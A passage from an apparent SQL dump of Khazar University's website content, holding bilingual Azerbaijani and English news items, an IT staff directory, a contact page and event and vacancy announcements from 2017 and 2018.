confidentiality, risk of information hacking, and possible damages to infrastructure on local and internet level and takes preventive actions. Moreover, the department prevents software from getting damaged, virus and internet hacking, and regularly enforces security.</p>'),(4477,2656,'az','Haqqımızda','Haqqımızda',''),(4478,2656,'en','About Us','About Us',''),(4479,2657,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/letters/CV_Musayev_Farid-aze.pdf\"><img src=\"/files/letters/farid_m.jpg\" style=\"width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Fərid Musayev</a></strong></p><p><strong>İnformasiya Texnologiyaları Şöbəsinin müdiri</strong><strong></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fmusayev[at]khazar.org\">fmusayev[at]khazar.org</a></p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (225)</p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/letters/ilkin-a.jpg\" style=\"border:0px #0000ee;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/letters/ilkin-alizada-cv.pdf\">İlkin Əlizadə</a></strong></p><p><strong>IT Menecer&nbsp;köməkçisi</strong><br></p><p><strong>E-mail:</strong> <a href=\"mailto:ializada[at]khazar.org\">ializada[at]khazar.org</a></p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (225)  <br></p><p><br></p><p><br></p>\r\n<hr>\r\n<a href=\"http://www.khazar.org/files/letters/CV_emil.pdf\"><p><strong><img src=\"http://www.khazar.org/files/letters/emil.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></strong><strong>Emil Sepxanov</strong></p></a><p><strong><strong>IT Menecer&nbsp;köməkçisi</strong>  </strong>&nbsp;<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:esepkhanov[at]khazar.org\">esepkhanov[at]khazar.org</a></p><p><br></p><p><br></p>  <p><br></p>'),(4480,2657,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/letters/CV_Musayev_Farid-aze.pdf\"><img src=\"/files/letters/farid_m.jpg\" style=\"width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Farid Musayev</a></strong></p><p><strong>Head of </strong><strong>Information Technology Office</strong>  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fmusayev[at]khazar.org\">fmusayev[at]khazar.org</a>  </p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (225)&nbsp;</p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/letters/ilkin-a.jpg\" style=\"border:0px  #0000ee;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/letters/ilkin-alizada-cv.pdf\">Ilkin Alizada</a></strong></p><p><strong><strong>IT Manager Assistant  </strong>  </strong></p><p><strong>E-mail: </strong><a href=\"mailto:ializada[at]khazar.org\">ializada[at]khazar.org</a></p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (225)  <br></p><p><br></p><p><br></p>\r\n<hr><p><strong><a href=\"http://www.khazar.org/files/letters/CV_emil.pdf\"><img src=\"/files/letters/emil.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Emil Sepkhanov</a></strong></p><p><strong>IT Manager Assistant</strong>  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:esepkhanov[at]khazar.org\">esepkhanov[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p>'),(4485,2654,'en','Department of Geography and Environment Presented a Book to a School','On November 18, the staff of the Department of Geography and Environment visited school No. 78 located in Ramana settlement and presented...','<p>On November 18, the staff of the Department of Geography and Environment visited school No. 78 located in Ramana settlement and presented a book titled “Reducing the Risk of Disaster in Education System”. It should be noted that the book was jointly prepared by UNICEF and the department staff.</p>'),(4483,2647,'en','Khazar University Students and Instructors Visited the 8th Azerbaijan International Environmental Exhibition','On November 16, 2017, the 1st and 4th year students majoring in Geography studies within the Department of Geography and Environment...','<p>On November 16, 2017, the 1<sup>st</sup> and 4<sup>th</sup> year students majoring in Geography studies within the Department of Geography and Environment, as well as the instructors and 1st year students of the School of Economics and Management of Khazar University visited “Caspian Ecology” - the 8<sup>th</sup> Azerbaijan International Environmental Exhibition held at Baku Expo Center. At the exhibition, the students competed in a question-and-answer session at GIZ\'s German stand and received various gifts.</p>'),(4484,2649,'en','Lecturer of Khazar University Participated in the Congress of Turkic-Speaking States','On November 13-17, 2017, Dr. Gatiba Mahmudova, a lecturer of Azerbaijani Language and Literature Department of Khazar University, participated in the...','<p>On November 13-17, 2017, Dr. Gatiba Mahmudova, a lecturer of Azerbaijani Language and Literature Department of Khazar University, participated in the Congress of Turkic-Speaking States held under the patronage of the President of Turkey Recep Tayyip Erdogan in Ankara. The main subject of speeches of scientists from Azerbaijan, Turkey, Kazakhstan, Tatarstan, Yakutia, Turkmenistan, Uzbekistan and other countries, was common Turkic Language and common terminologies. Khazar University Lecturer, Ms. Mahmudova delivered a speech on the topic “Adopted Words from English in Modern Azerbaijani Language” at the Congress.</p>'),(4486,2652,'en','Languages and Cultures Department Staff Member at International Congress','On November 16-18, 2017, Ms. Elnura Azizova, Doctor of Theology, Assoc. Professor of Languages and Cultures Department of Khazar University...','<p>On November 16-18, 2017, Ms. Elnura Azizova, Doctor of Theology, Assoc. Professor of Languages and Cultures Department of Khazar University attended the international congress “Higher Religious Education” organized by Istanbul University. Assoc. Prof. Azizova delivered a speech entitled “<em>Alternative Higher Religious Education Models in a Secular State: Historical Development of Higher Religious Education Institutions in Post-Soviet Azerbaijan</em>” at the congress.</p>'),(4487,2659,'az','“Xocasən gölünün su balansı” mövzusunda seminar keçiriləcək','2017-ci il dekarbın 6-sı saat 11:00-da Xəzər Universiteti Coğrafiya və ərtaf mühit departamenti “Xocasən gölünün su balansı” mövzusunda seminar...','<p style=\"text-align:justify\">2017-ci il dekarbın 6-sı saat 11:00-da Xəzər Universiteti Coğrafiya və ərtaf mühit departamenti “Xocasən gölünün su balansı” mövzusunda seminar təşkil edəcək. Seminarda dövlət qurumlarının, universitetlərin və Milli Elmlər Akademiyasının nümayəndələri iştirak edəcəklər.</p><p style=\"text-align:justify\">Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) baş tutacaq.</p><p style=\"text-align:justify\">Maraqlananlar dəvət olunurlar.</p><p style=\"text-align:center\"><img src=\"/files/geography_depart/khojasan_poster.jpg\" style=\"margin-top:7px;width:600px;height:845px\"><br></p>'),(4489,2651,'en','Session on Studying Abroad','The next event within the framework of the International Education Week (November 13-17, 2017), organized by the International...','<br><p>The next event within the framework of the International Education Week (November 13-17, 2017), organized by the International Affairs Office, was held on November 16, 2017, with the participation of representatives of Education USA and British Council Azerbaijan.</p><p>The main purpose of the session was to provide detailed information about full-time and exchange programs available to students in the USA and the UK, and to answer students’ questions.</p><p>The information session consisted of two parts. In the first part, Ramile Verdiyeva, Education USA Adviser, talked about the process of admission to universities in the USA, admission requirements, financial aid, and other important issues.</p><p>During the second part of the information session, Javid Guliyev, Exams Coordinator at British Council Azerbaijan, gave general information about education in the UK and spoke extensively about IELTS, the international English language testing system, which is conducted by the organization and it is the key requirement for admission to the UK universities. The representative gave some information about some other professional examinations held by the organization.</p><p>Promotional materials of both organizations were distributed at the end. The event ended with a Q&amp;A session.</p>'),(5179,3007,'en','A Doctoral Workshop to be held by School of Economics and Management','School of Economics and Management of Khazar University will organise...','<p>School of Economics and Management of Khazar University will organise   a doctoral workshop at 15:30, on March 5, 2018. The purpose of the workshop is to bring PhD students together to share their knowledge and also provide them with the opportunity to discuss their research with colleagues and senior faculty members.</p><p>The seminar is open for those who are interested in.</p><p>Venue: Room 314 (Old)</p>'),(5180,3008,'az','“Xəzər”də yubiley tədbiri keçirildi','2018-ci il martın 1-də Xəzər Universitetində universitetin Təmir və tikinti şöbəsinin...','<p>2018-ci il martın 1-də Xəzər Universitetində universitetin Təmir və tikinti şöbəsinin işçisi Piri Piriyevin anadan olmasının 60 illiyi münasibətilə tədbir keçirildi. Tədbirdə universitetin rəhbərliyi, dekanlar və departament müdirləri, əməkdaşlar iştirak edirdilər.</p><p>Universitetin rektoru Hassan Niknafs yubilyarı təbrik edərək, ona gül dəstəsi və təbrik məktubu təqdim etdi.</p><p>Universitetin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, Təmir və tikinti işləri üzrə menecer Şahin İsayev və digərləri çıxış edərək, Piri Piriyevin işçi və şəxsi keyfiyyətlərindən danışdılar.</p><p>Piri Piriyev çıxış edərək, yubiley tədbirinin təşkilinə görə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>'),(5178,3007,'az','İqtisadiyyat və menecment fakültəsi elmi seminar (doktorluq) keçirəcək','2018-ci il martın 5-i saat 15:30-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsi...','<p>2018-ci il martın 5-i saat 15:30-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsi elmi seminar (doktorluq) keçirəcək. Seminar universitetin köhnə binasında (otaq 314) baş tutacaq. Seminarın məqsədi fakültənin doktorantura tələbələrini bir araya gətirmək, aparmış olduqları elmi-tədqiqat işləri ilə əlaqəli həmkarları və universitetin akademik əməkdaşları ilə birgə müzakirə imkanı yaratmaq, bilik və təcrübə mübadiləsi aparmaqdır.</p><p>Maraqlanan hər kəs seminarda iştirak edə bilər.</p>'),(4491,2661,'az','“Dünya” məktəbində “Ksenofobiya və tolerantlıq” mövzusunda görüş keçirildi','2017-ci il noyabrın 23-də Bilik Fondunun və Binəqədi Rayon İcra Hakimiyyətinin birgə təşkilatçılığı ilə Xəzər Universitetinin nəzdində fəaliyyət...','<p>2017-ci il noyabrın 23-də Bilik Fondunun və Binəqədi Rayon İcra Hakimiyyətinin birgə təşkilatçılığı ilə Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində “Ksenofobiya və tolerantlıq” mövzusunda görüş keçirilmişdir.</p><p>Xəbəri tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://525.az/site/?name=xeber&amp;news_id=90107#Kalibri&amp;gsc.tab=0\">https://525.az/site/?name=xeber&amp;news_id=90107#Kalibri&amp;gsc.tab=0</a>.<br></p>'),(5110,2973,'az','Mevlana Mübadilə Proqramı haqqında məlumat sessiyası','2018-ci il fevralın 16-da Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin heyəti...','<p>2018-ci il fevralın 16-da Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin heyəti tələbələr üçün Mevlana Mübadilə Proqramı haqqında məlumat sessiyası keçirdi.</p><p>Sessiyanın əsas məqsədi tələbələr üçün Mevlana Mübadilə Proqramı haqqında ətraflı məlumat vermək və onlara bu imkandan necə yararlanmağın yollarını izah etmək idi. Beynəlxalq Əlaqələr Şöbəsinin koordinatoru Günay Fərzəliyeva proqram haqqında qısa təqdimat keçirdi, iştirakçıları qəbul şərtləri və tələb olunan sənədlərlə tanış etdi, tələbələrə uğurlu müraicət üçün faydalı məlumatlar verdi.</p><p>Görüşdə, həmçinin, cari tədris ilində proqramdan yararlanmış İqtisadiyyat və menecment fakültəsinin tələbəsi Aytac Ağayeva da iştirak etdi. A.Ağayeva Türkiyənin Sakarya Universitetində Mevlana mübadilə tələbəsi kimi qazandığı təcrübəni Xəzər Universitetinin tələbələri ilə paylaşdı.</p><p>Görüş sual-cavab ilə yekunlaşdı.</p>'),(4869,2548,'en','A seminar for student of the School of Education','There was a seminar for student of the School of Education at Library-Information Centre on October...','<p>There was a seminar for student of the School of Education at Library-Information Centre on October 20, 2017. The seminar involved the topics “Rules for library users”, “Electron catalogue” and “Rules for electron achieve users”. The seminar was held by Samira Orujova an Esmira Husenyova, staff members of Library-Information Centre.</p>'),(4498,2549,'en','Knowledge Competition dedicated to the Independence Day of Azerbaijan','On October 20, 2017, the Student Council of Khazar University conducted a traditional Knowledge Competition dedicated to October...','<p>On October 20, 2017, the Student Council of Khazar University conducted a traditional Knowledge Competition dedicated to October 18<sup>th</sup> - the Day of State Independence of the Republic of Azerbaijan.</p><p>The 16 teams competed in the competition consisted of 3 rounds and it was played on ‘What? Where? When?’ concept. Each team consisted of 4 people.</p><p>Isakhan Isakhanli, vice rector for Administration and Student Affairs, opened the event with his introductory speech, congratulated the participants on the occasion of Independence Day of Azerbaijan Republic, and wished them success.</p><p>The event was also attended by Alovsat Amirbeyli, Director for Public Relations and Media and Jabir Mammadli, Coordinator of Journalism Department.</p><p>According to the results of the competition, the first three places were awarded with money prizes (1st place – 150 azn, 2nd place – 100 azn, and 3rd place – 50 azn) and the certificates were issued. The first three places were taken by the teams Handsome guys (1<sup>st</sup> place), Bravos (2<sup>nd</sup> place) and The Gang (3<sup>rd</sup> place).</p>'),(4499,2666,'az','I kurs tarixçilər Atəşgahda oldular','2017-ci il noyabrın 24-də Xəzər Universitetinin Tarix və arxeologiya departamentinin təşkilatçılığı ilə tarix müəllimliyi ixtisasının birinci kurs tələbələri...','<p>2017-ci il noyabrın 24-də Xəzər Universitetinin Tarix və arxeologiya departamentinin təşkilatçılığı ilə tarix müəllimliyi ixtisasının birinci kurs tələbələri Atəşgah məbədində oldular. Tələbələr məbədi gəzdilər. Tarixi qoruğun bələdçisi tələbələrə məbədin tarixi, coğrafi mövqeyi və s. haqqında məlumat verdi.</p><p>Qeyd edək ki, Atəşgah XVII-XVIII əsrlərdə təbii qazın çıxdığı sönməz alovların yerində inşa edilmiş od məbədidir.</p>'),(4979,2904,'az','Professor Hamlet İsaxanlı Tbilisi Dövlət Universitetinin 100 illik yubileyinə həsr edilmiş təntənəli mərasimdə çıxış etdi','2018-ci il fevralın 8-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Tbilisi Dövlət...','<p>2018-ci il fevralın 8-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Tbilisi Dövlət Universitetinin 100 illik yubileyinə həsr edilmiş təntənəli mərasimdə çıxış etdi. H.İsaxanlı çıxışında Tbilisi Dövlət Universitetini tanıdan xüsusiyyətlərindən, Gürcüstanın tarixi və mədəniyyətindən, Şota Rustaveli irsindən, Gürcüstanda elm və mədəniyyət sahəsindəki son inkişafdan, Gürcüstan-Azərbaycan əlaqələrindən, Xəzər Universiteti və onun Gürcüstan universitetləri ilə əməkdaşlığı kimi məsələlərdən danışdı. Hamlet İsaxanlı Tbilisi Dövlət Universitetinə hədiyyə etdiyi xalçanı təqdim etdi.</p><p>Daha sonra Professor Hamlet&nbsp;İsaxanlı Azərbaycanın Gürcüstandakı səfiri ilə görüşüb söhbət etdi. Azərbaycan televiziyası və bir neçə digər informasiya agentlikləri professor Hamlet İsaxanlıdan müsahibə aldılar.</p><p>Həmçinin, Hamlet İsaxanlı TDU-nun 100 illiyinə gələn qonaqlarla birlikdə Gürcüstan Parlamentində oldu.</p>'),(4939,2882,'az','Professor Hamlet İsaxanlı Gürcüstanın Prezidenti və Təhsil naziri ilə görüşdü','2018-ci il fevralın 7-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2018-ci il fevralın 7-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Tbilisi İvane Cavaxişvili Dövlət Universitetinin 100 illik yubileyinə həsr edilmiş silsilə tədbirlərdə iştirak etmək üçün dəvət olunduğu Tbilisi şəhərinə getmişdir.</p><p>Fevralın 7-dən 9-dək keçiriləcək tədbirlərdə Gürcüstanın hökumət nümayəndələri, xaricdən dəvət olunmuş tanınmış ictimai xadim və alimlərin iştirak etməsi planlaşdırılır.</p><p>Səfər çərçivəsində professor H.İsaxanlı xaricdən gəlmiş nümayəndə heyətinin tərkibində Gürcüstan Prezidenti Giorgi Margvelaşvili ilə görüşdü. Söhbət zamanı Gürcüstan Prezidenti Xəzər Universiteti haqqında çox eşitdiyini bildirdi, universitetin ünvanına xoş sözlər söylədi.</p><p>Həmçinin, Professor İsaxanlı Gürscüstanın Təhsil naziri Dr. Mixeil Çxenkeli ilə söhbət etdi, Gürcüstanda və Azərbaycanda təhsilin vəziyyəti, qarşılıqlı əməkdaşlıq ideyaları, Gürcüstanda yaşayan Azərbaycan-dilli əhalinin təhsil problemləri, bu işdə Xəzər Universitetinin marağı və köməyi məsələləri müzakirə edildi.</p><p>Bundan əlavə, Hamlet İsaxanlı Gürcüstan Elmlər Akademiyasının prezidenti, Gürcüstan universitetlərinin rektor və digər yüksək vəzifəli şəxsləri, tədbirdə iştirak edən xarici universitet rəhbərləri ilə görüşlər keçirməyə başlamışdır.</p>'),(4599,2728,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><strong>Telefon:&nbsp;</strong>(+994&nbsp;12) 421 10 93</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;(+994&nbsp;12) 421 79 16</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(+994&nbsp;12) 421 63 35</p><p>&nbsp;<strong>Faks:&nbsp;</strong>(+994&nbsp;12) 498 93 79</p><p>&nbsp;<strong>E-mail:&nbsp;</strong><a href=\"mailto:contact@khazar.org\">contact@khazar.org</a></p><p><br></p><p>Xəzər&nbsp;Universiteti (Neftçilər Kampusu)&nbsp;</p><p>Məhsəti k. 41, AZ1096, Bakı, Azərbaycan</p>  <p><iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&q=Khazar+University, Baku\">\r\n</iframe></p>'),(4512,2676,'en','Prof. Hamlet Isakhanli at International Conference in Germany','On November 19-22, 2017, Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of the Board of Directors and Trustees...','<p>On November 19-22, 2017, Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of the Board of Directors and Trustees, and Mrs. Naila Isayeva attended the “International Conference of independent bilingual schools “Road to the School”” in Berlin, Germany.</p><p>At the conference, Mrs. Naila Isayeva gave information about Dunya School. Prof. Hamlet Isakhanli talked about reasons for establishment and environment of Khazar University and Dunya School. He also delivered a speech on school conception and quality, and co-chaired one of the plenary sessions of the conference.</p><p>Prof. Hamlet Isakhanli and Mrs. Naila Isayeva also got acquainted with the work of Lomonosov Berlin School.</p>'),(4513,2663,'en','A scientific article by a lecturer of Khazar University published','An article “Social content in Azerbaijan citizenship lyric in the second half of XX century” by Gardashkhan Azizkhanli...','<p>An article “Social content in Azerbaijan citizenship lyric in the second half of XX century” by Gardashkhan Azizkhanli, a lecturer of the Department of the Azerbaijan Language and Literature of Khazar University, was published in “Bilimsel Eksen” (Scientific Axis) scientific journal, Number 20, 2017, in Ankara, Turkey. The article covers 11 pages and deals with social content of Azerbaijan citizenship lyric based on poetic works by Mammad Araz, Sohrab Tahir AzarAzar, and Mammad Ismayil. The author compares poets with their poetic personage trying to demonstrate social trends making up main philosophy of citizenship lyric. Moreover, the author pays a special attention to poetic works by M.Azar, M.Tahir and M.Ismayil that played a great role in preserving moral values of people.</p>'),(4514,2677,'az','Xəzər Universiteti BMT konfransında','Noyabrın 24-25-də Bakıda “Dünyamızın transformasiyası: Davamlı İnkişaf Məqsədlərinin inteqrasiyası və həyata keçirilməsinin təşviqində elmin rolu...','<p>Noyabrın 24-25-də Bakıda “Dünyamızın transformasiyası: Davamlı İnkişaf Məqsədlərinin inteqrasiyası və həyata keçirilməsinin təşviqində elmin rolu” mövzusunda beynəlxalq elmi konfrans keçirilmişdir.&nbsp;Konfrans BMT-nin Qlobal Saziş Layihəsi, Azərbaycan Həmkarlar İttifaqı Konfederasiyası və “Azərsu” ASC-nin dəstəyi ilə təşkil olunmuşdu.</p><p>Noyabrın 24-də konfransda fasilə zamanı Xəzər Universitetinin Kamera orkestri (bədii rəhbər universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, dosent, pianoçu Zülfiyyə Sadıqova) iştirakçılar üçün konsert vermişdir. Müslüm Maqomayev adına Dövlət Akademik Filarmoniyasınnı solisti, Xəzər Universitetinin müəllimi Məhsəti Cabbarova və Bakı Musiqi Akademiyasının tələbəsi Mahir Tağızadə Azərbaycan bəstəkarlarının əsərlərini ifa etmişlər.</p><p>Həmin gün konfrans iştirakçıları üçün tanınmış xalça rəssamı, Xəzər Universitetinin müəllimi Afaq Kərimova və gənc rəssam, rəssamlar ittifaqının üzvü Əfşan Əsədovanın yaradıcılıq sərgisi nümayiş etdirilmişdir.</p>'),(4515,2660,'en','The Following Seminar of Khazar University PhD and Master’s Association','On November 23, 2017, the Association of PhD and Master’s of Khazar University hosted a seminar. The opening of the seminar was...','<p>On November 23, 2017, the Association of PhD and Master’s of Khazar University hosted a seminar. The opening of the seminar was made by Assoc. Prof. Irada Khalilova, the vice-rector for Research of Khazar University. She urged new PhD and Master students to take an active part in research workshops.</p><p>At the seminar, Dr.&nbsp;Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, delivered a speech on writing dissertation, thesis and the research papers.</p><p>In the second part of the seminar, Dr.&nbsp;Babak Alibeyov, the instructor of the Department of Biological Sciences, presented practical and theoretical knowledge on the rules of quality writing for scientific journals and conferences.Young scientists, PhD and Master students participated in the seminar. The seminar ended with interesting discussions.</p><p>At the end, it was decided to apply the theoretical knowledge gained from this seminar and conduct a thorough discussion of the abstracts of research students from different specialties in the next seminar.</p><p>It was recommended to use the EndNote program to make a reference list.</p><p>Dr. Hassan Niknafs, rector of Khazar University attended the seminar as well.</p>'),(4516,2669,'en','Eurasia Knowledge Centre opened the first multistage academic course','On November 27, 2017, the Eurasia Knowledge Centre at Khazar University launched, for the first time, a multi-disciplinary course on...','<p>On November 27, 2017, the Eurasia Knowledge Centre at Khazar University launched, for the first time, a multi-disciplinary course on \"Revenue management in natural resource-rich countries\" in pilot mode. The course is attended by 22 listeners from 6 countries (Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine, Mongolia and Azerbaijan). Listeners mainly represent government agencies, parliament, international financial institutions, academia, research institutes, and civil society.</p><p>During 9 days, listeners will learn the optimal management of revenue in resource-rich countries and acquire practical skills through practice.</p><p>Speakers are well-known experts in this field from Khazar and other universities.</p>'),(4518,2672,'en','Khazar University as a Project Partner','Khazar University has become a partner in another project. The project is supported by the Norwegian Centre for International...','<p>Khazar University has become a partner in another project. The project is supported by the Norwegian Centre for International Cooperation in Education – SIU.</p><p>The project is about intercultural communication and it will be coordinated by Norway and implemented in 3 South Caucasian countries. The instructors and employees of these countries will travel to Tbilisi and Oslo for spring schools within the framework of the project.</p><p>It should be noted that the discussion of this project was held in Tbilisi last summer.</p>'),(4519,2679,'az','Xəzər Universitetinin dissertantının məqaləsi Honq-Konqda çap olundu','Xəzər Universitetinin dissertantının Honq-Konqda ingilis dilində məqaləsi dərc olundu. Xəzər Universitetinin immunologiya...','<p>Xəzər Universitetinin dissertantının Honq-Konqda ingilis dilində məqaləsi dərc olundu. Xəzər Universitetinin immunologiya üzrə dissertantı Şəbnəm Şahgəldiyevanın həmmüəllif olduğu “<strong><em>The Novel Patient with BLNK Gene Type of Agammaglobulinemia</em></strong>” adlı məqaləsi (ingilis dilində) Honq-Konqda çap olunan və müxtəlif dünya indekslərinə malik olan “OALib Journal”-ında nəşr olunmuşdur.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.oalib.com/articles/5291334#.Wh0nBfSno9M\">http://www.oalib.com/articles/5291334#.Wh0nBfSno9M</a>.</p>'),(4760,2763,'en','Presentation of “CanSat Azerbaijan-2018” student satellite competition','Presentation of “CanSat Azerbaijan-2018” student satellite competition, which will be held with organizational support...','<p>Presentation of “CanSat Azerbaijan-2018” student satellite competition, which will be held with organizational support of “Azercosmos” OJSC and Ministry of Education, was conducted for the students of School of Engineering and Applied Sciences, Khazar University, on December 20, 2017. Fidan Behbudova, a leading expert of Department of Cooperative communication, “Azercosmos” OJSC, gave detailed information on competition and added that International CanSat competition, designed for motivation of development of university students in cosmic sector, has been held since 1998 with joint support of NASA, American Astronomical Society (AAS), The American Institute of Aeronautics and Astronautics (AIAA) as well as other leading institutions in space industry. It is also planned to hold this competition in Azerbaijan as of 2018. “CanSat Azerbaijan” is for students of higher education institutions. The objective of the competition is to increase interest in, and popularization of, student satellite projects, represent Azerbaijan in similar competitions with experienced teams and gain achievements as well as help experts to attain relevant skills for producing Nano and real satellites in the future in Azerbaijan.</p><p>After the presentation “Azercosmos” OJSC representatives answered the students’ questions.</p><p>For further information on competition:</p><p><a href=\"http://cansat.az/\">http://cansat.az/</a>.<br></p>'),(4520,2680,'az','Avrasiya Bilik Mərkəzində “Təbii resursla zəngin ölkələrdə gəlirlərin idarə edilməsi” mövzusunda çoxmərhələli kurs davam edir - FOTOSESSİYA','',''),(4521,2604,'en','Rector welcomed freshman students','On October 26, Dr. Hassan Niknafs, Rector of Khazar University held a meeting with 1st year students of Humanities and Social Sciences Department...','<p>On October 26, Dr. Hassan Niknafs, Rector of Khazar University held a meeting with 1st year students of Humanities and Social Sciences Department at Marble Hall. H.Niknafs thanked students for their choice of Khazar University, congratulated them on the occasion of becoming students and gave information about internal discipline of the university, as well as examination rules.</p><p>At the end, Assoc. Prof. Jabir Khalilov, Dean of the faculty delivered a speech, and wished them success in their studies and exams. Finally, the students had a chance to obtain answers to their questions.</p>'),(4522,2680,'en','A multistage course on \"Revenue management in natural resource-rich countries\" at Eurasia Knowledge Centre continues - PHOTO SESSION','',''),(4533,2666,'en','1st year students majoring in History visit Ateshgah','On November 24, 2017, 1st year students majoring in History Studies went on a trip to Atashgah, organized by the Department of History and Archaeology...','<p>On November 24, 2017, 1<sup>st</sup> year students majoring in History Studies went on a trip to Atashgah, organized by the Department of History and Archaeology, Khazar University. The students walked around the temple. The guide of the historical reserve provided the students with the information on the history and geographical location of the temple.</p><p>It should be noted that Atashgah is a fire temple constructed in XVII-XVIII centuries on inextinguishable flames of natural gas.</p>'),(4637,2753,'az','Xəzər Universitetinin əcnəbi doktorantı müsahibə verdi','Azvision.az saytı Xəzər Universitetinin iqtisadiyyat üzrə doktorantı, pakistanlı tədqiqatçı Sana İmranla müsahibəni...','<p><strong><em>Azvision.az</em></strong> saytı Xəzər Universitetinin iqtisadiyyat üzrə doktorantı, pakistanlı tədqiqatçı Sana İmranla müsahibəni yayınlamışdır. “Azərbaycan öz regionuna və ondan kənara “tranzit və logistik mərkəz” kimi xidmət edə bilər” başlıqlı müsahibə ingilis dilindədir.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://en.azvision.az/news/%2077220/-azerbaijan-can-serve-%20as-transit-and-logistic-hubs-%20to-its-region-and-beyond-.html\">https://en.azvision.az/news/%2077220/-azerbaijan-can-serve-%20as-transit-and-logistic-hubs-%20to-its-region-and-beyond-.html</a>.</p>'),(4525,2681,'en','Vacancy: Mechanical Engineering department is seeking candidates','Khazar University’s department of Mechanical Engineering is seeking candidates to fill a vacant position for teaching pertinent major courses...','<p>Khazar University’s department of Mechanical Engineering is seeking candidates to fill a vacant position for teaching pertinent major courses (<em>Fluid Mechanics II, Materials Science, Solid Works, System Dynamics and Control, Dynamics, Theory of Machines, Machine Vibration</em>) in the Spring Semester of 2018. Holders of master and&nbsp;PhD degrees in the fields of mechanical engineering and closely related areas from Azerbaijani nationals&nbsp;are welcomed to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Fakhranda Alimardanova, the vice dean for academic affairs of School of Engineering and Applied Sciences: <a href=\"mailto:falimardanova@khazar.org\">falimardanova[at]khazar.org</a>  </p><p><em><strong>Deadline is February&nbsp;15, 2018.</strong></em></p>'),(4528,2683,'az','Endnote proqramından istifadə ilə bağlı aktiv təlim keçiriləcək','2017-ci il dekabrın 1-də saat 15:00-da Xəzər Universiteti bioloji elmlər departamentinin elmi işçisi və müəllimi Dr. Babək Əlibəyovun “Məqalə yazmağın ən effektiv yolu...','<p>2017-ci il dekabrın 1-də saat 15:00-da Xəzər Universiteti bioloji elmlər departamentinin elmi işçisi və müəllimi Dr.&nbsp;Babək Əlibəyovun “Məqalə yazmağın ən effektiv yolu –&nbsp;Endnote-dan necə istifadə etməli” (“<em>Using the most effective tool while writing a paper with EndNote</em>”) adlı II təlimi keçiriləcək.</p><p>Vorkşop hər bir iştirakçı üçün aktiv praktiki təlim məqsədi daşıyır və eyni mövzuda keçirilən seminarların davamıdır.</p><p>İştirakçılardan yaddaş kartı ilə və ya onlayn olaraq ən azı bir paraqraf yazı gətirmələri xahiş edilir. Həmin yazı əsasında hər bir iştirakçı kompüterdə ədəbiyyat siyahısını tərtib edəcək. Doktorant və magistr tələbələrin iştirakı vacibdir.</p><p>Təlim “Neftçilər” kampusu, dördüncü mərtəbədə kompüter laboratoriyasında baş tutacaq.</p><p>Maraqlanan hər kəs seminara dəvətlidir.</p>'),(4529,2684,'az','Sumqayıt Texnologiyalar Parkının mütəxəssisləri Xəzər Universitetində','2017-ci il noyabrın 29-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllim-tələbə heyəti ilə Sumqayıt Texnologiyalar Parkının...','<p>2017-ci il noyabrın 29-da Xəzər Universiteti 